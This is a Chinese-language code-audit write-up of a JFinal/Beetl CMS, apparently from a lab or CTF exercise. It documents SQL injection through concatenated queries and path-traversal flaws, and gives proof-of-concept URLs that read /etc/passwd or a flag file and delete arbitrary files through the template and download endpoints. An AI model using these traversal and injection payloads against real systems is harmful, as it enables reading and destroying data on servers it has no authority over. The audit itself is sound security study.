简介
框架使用的Jfinal,模板引擎使用的beetl
项目中的pom.xml记录了项目需要的依赖及其版本信息等,审计源码前,可以看看项目的给类依赖是否为存在漏洞的版本,如果有可以针对某个依赖的当前版本存在的漏洞进行验证。
SQL注入
存在的sql注入较多
1
jfinal 框架下的预处理为如下,使用占位符:
1
|
Long count = Db.queryLong("select count(1) from cms_admin where username = ?",username);
|
这里使用拼接方式进行数据查询,导致SQL注入:
网上追溯,找到source点:
找到在com/cms/controller/admin/AdminController.java#index()
里,传入的name、username参数未做任何处理就被传递给findPage()
,那么这里是存在SQL注入的。
测试:
直接用sqlmap跑:
1
|
http://localhost:8080/admin/admin?name=1
|
XSS
前台任意文件读取
网上已知这个漏洞的poc:/common/down/file?filekey=/../../../../../../../../../etc/passwd
我们根据poc去寻找一下,搜索/common/down
可以看到直接从前端获取文件参数,且没有进行过滤,可以使用../
跨目录读取文件:
构造请求:
1
|
http://192.168.3.214:8080/common/down/file?fileKey=/../../../../../../../../../../../../../../../../../tmp/flag.txt
|
任意文件读取
可以搜索的关键字:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
org.apache.commons.io.FileUtils
org.springframework.stereotype.Controller
import java.nio.file.Files
import java.nio.file.Path
import java.nio.file.Paths
import java.util.Scanner
sun.nio.ch.FileChannelImpl
java.io.File.list/listFiles
java.io.FileInputStream
java.io.FileOutputStream
java.io.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem
sun.nio.fs.UnixFileSystemProvider/WindowsFileSystemProvider
java.io.RandomAccessFile
sun.nio.fs.CopyFile
sun.nio.fs.UnixChannelFactory
sun.nio.fs.WindowsChannelFactory
java.nio.channels.AsynchronousFileChannel
FileUtil/IOUtil
BufferedReader
readAllBytes
scanner
|
漏洞点在后台:点击“编辑”的时候,响应会显示文件内容
这个漏洞点在com/cms/controller/admin/TemplateController.java
中的edit方法:
如果目录directory为空的话,则默认就是要传入的文件名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
/**
* 编辑
*/
public void edit() {
String fileName = getPara("fileName");
String directory = getPara("directory");
if (StringUtils.isBlank(fileName)) { //filename不能为空
render(CommonAttribute.ADMIN_ERROR_VIEW);
return;
}
setAttr("directory", directory);
setAttr("fileName", fileName);
String filePath = "";
if(StringUtils.isNotBlank(directory)){ // 目录directory为空和不为空是两种情况,如果目录不为空,则就是以那个目录开始寻找文件
filePath = "/"+directory.replaceAll(",", "/")+"/"+fileName; //把逗号替换为/,拼接为完整的路径
}else{
filePath = "/"+fileName; //如果目录directory为空的话,则默认就是要传入的文件名
}
setAttr("content", StringEscapeUtils.escapeHtml(TemplateUtils.read(filePath))); //读取
render(getView("template/edit"));
}
|
Poc:
1
2
3
4
5
|
# directory为空
http://192.168.3.214:8080/admin/template/edit?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt
# directory不为空
http://192.168.3.214:8080/admin/template/edit?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt&directory=default,static
|
任意文件删除
都是admin/template
接口中的,这个是delete
可以看到没有任何过滤,可以删除任意文件:
测试:
1
|
http://192.168.3.214:8080/admin/template/delete?fileName=../../../../../../../../../../../../../../../../../../tmp/flag.txt
|
同理,update也一样
同理,/admin/template/save
也一样
任意文件读取
1
|
http://192.168.3.214:8080/ajax/html?html=../../../../../../../../../../../../../../../../../../tmp/flag.txt
|
目录穿越 直接渲染读取:
SSTI
待复现